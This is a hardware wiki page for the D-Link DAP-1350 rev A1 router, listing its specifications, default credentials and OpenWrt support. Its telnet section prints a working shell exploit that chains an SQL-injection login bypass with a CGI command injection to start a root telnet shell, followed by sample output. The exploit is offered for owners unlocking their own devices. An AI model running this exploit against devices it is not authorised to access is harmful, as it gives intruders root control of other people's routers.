D-Link DAP-1350 rev A1

From TechInfoDepot
Jump to navigationJump to search
multiple revisions of this device, use caution
bgn (N300)
Wireless N Pocket Router & Access Point
D-Link DAP-1350 01.jpg
Homepage
Wikipedia
InfoDepot Wiki
3rd Party Firmware
dd-wrt
Status Unknown
OpenWrt
Tomato any flavor
Incompatible
Gargoyle
Status Unknown
Platform
BrandModelRev
D-Link DAP-1350 A1
FCC ID
IC ID
Type
wireless router, access point
CPU1
Ralink RT3052
CPU1 Type
MIPS 24KEc
CPU1 Speed
384 MHz
Flash1 Chip
Macronix MX29LV640EBTI-70G
Flash1 Size
8 MiB8,388,608 B <br />65,536 Kib <br />8,192 KiB <br />64 Mib <br />0.00781 GiB <br />
RAM1 Size
32 MiB33,554,432 B <br />262,144 Kib <br />32,768 KiB <br />256 Mib <br />0.0313 GiB <br />
RAM1 Chip
ESMT M12L128168A-7T x 2
ETH chip1
Ralink RT3052
Ethernet Port Count
1-100MbE-LAN
Wired Standard
IEEE 802.3i/3u

802dot11 OUI: 00:18:E7 (11 E, 22 W)
Ethernet OUI: 00:18:E7 (11 E, 22 W)

Stock bootloader
U-Boot
Stock FW OS
Linux
Expansion IF types
USB 2.0
USB ports
1
USB Hub Compatible
Untested
Power
5 VDC, 2.5 A
Connector type
barrel
Serial Port (UART)
yes
Other

Default SSID: dlink (37 addl. devices)
Default IP address: 192.168.0.50
the IP 192.168.0.50 is used by 62 additional devices
of which 62 are D-Link devices
Default login user: admin
Default login password: blank
admin:blank credentials used by 358 additional devices
of which 193 are D-Link devices

Manuf/OEM/ODM
3rd Party Firmware Support
OpenWrt • (List | Dev | DLs)
Retail
Availability End of Life
FCC approval date 15 September 2009
ASIN B003Q9AZHU Flag of the United States.svg
Country of manuf China
Physical
LEDs/Color
Blue/Red
Radio 1
Chip1
Ralink RT3052
Wireless interface OUI
00:18:E7
Antenna Connector Type
Internal
MIMO status
2x2:2
Wireless Standard
IEEE 802.11b/g/n
802.11n
up to 300 Mbps
802.11g
up to 54 Mbps
802.11b
up to 11 Mbps
WiFi Operating Frequency
2.4 GHz
 CPU1 brandRadio1 chip1 brandRadio1 chip2 brand
D-Link DAP-1350 rev A1RalinkRalink
D-Link DAP-1350 rev B1RalinkRalink

For a list of all currently documented Ralink chipsets with specifications, see Ralink.

For a list of all currently documented D-Link device with specifications, see D-Link.

300 Mbps - 2SS 2.4GHz 802.11n (40MHz chan.) = N300 class

Overview

Interface emulator

Links of Interest

Forum threads

OpenWRT trunk contains support for the DAP-1350, however, the 12.09-beta is broken.
You can build your own firmware now or wait for the Attitude Adjustment release.

Flashing

Flashing OpenWrt

On the OpenWrt ToH (techdata entry)
On the OpenWrt Wiki
On the OpenWrt Forum
Support started version: 12.09
Current supported version: 22.03.5

Please insert instructions here

JTAG-Serial Info

Serial

Enabling telnet

A vulnerability was discovered in the stock firmware which allows arbitrary commands to be executed as root using HTTP POST requests to a CGI program.

A secondary SQL injection vulnerability also exists allowing one to bypass HTTP authentication.

telnet • >>
#!/bin/ksh

# DAP-1350 telnetd, by brynet.
# This effect all stock firmware images for the device.
# Tested on OpenBSD.

host=$1
if [ $# -ne 1 ]; then
	echo "usage: $0 host or ip"
	exit 1;
fi
base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\
"Host: ${host}\r\nConnection: keep-alive\r\n"\
"Content-Type: application/x-www-form-urlencoded\r\n"

# user_name=admin
# user_pwd=';select 1;--
login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ"
login_clen="Content-Length: $(echo -n ${login_cmd} | wc -c)\r\n\r\n"
login_req="${base_req}${login_clen}${login_cmd}"

echo $login_req | nc $host 80 | grep default > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Authenticated."
else
	echo "Failed."
	exit 1;
fi
telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh"
telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} | wc -c)\r\n\r\n"
telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}"

echo $telnetd_req | nc $host 80 > /dev/null 2>&1
sleep 2; nc -z $host 23 > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Root shell, okey doke."
	telnet $host
else
	echo "No root.. sorry, heh."
	exit 1;
fi

Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary.

    $ ./exploit.sh dlinkap # 192.168.0.50
    Authenticated.
    Root shell, okey doke.
    Trying 192.168.0.50...
    Connected to dlinkap.
    Escape character is '^]'.
    ... motd/etc.
    #

The factory set root password is unknown, so no login(1) process is started.
You must run the exploit script each time the device is powered on.

Pictures

Retail Images